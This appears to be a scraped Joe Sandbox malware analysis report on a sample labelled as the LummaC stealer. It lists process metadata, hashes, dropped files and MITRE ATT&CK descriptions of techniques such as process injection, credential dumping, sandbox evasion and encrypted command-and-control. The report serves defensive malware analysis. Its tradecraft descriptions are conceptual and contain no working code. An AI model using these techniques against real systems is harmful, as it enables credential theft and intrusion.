Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=1916,i,3855862438101677687,7345271916108378695,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6a3150000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 01305A1B Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1652937523.00000000012F2000.00000004.00000020.00020000.00000000.sdmp, Offset: 012F2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_12f2000_f48jWpQ2F8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24f0e444e34b796d8811a9a8407ec148c4b091b6befaffc3ba30de1697329433
Instruction ID: 165f3c86aedc7583bb149c683da757c286d3bcfdc78280676dacd6e1278c76a6
Opcode Fuzzy Hash: 24f0e444e34b796d8811a9a8407ec148c4b091b6befaffc3ba30de1697329433
Instruction Fuzzy Hash: 8C41436148F3D25FD7578B7498614813FB1AE6322472F55DBC4C0CF0B3D159189AD722

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report f48jWpQ2F8.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Windows Analysis Report
f48jWpQ2F8.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre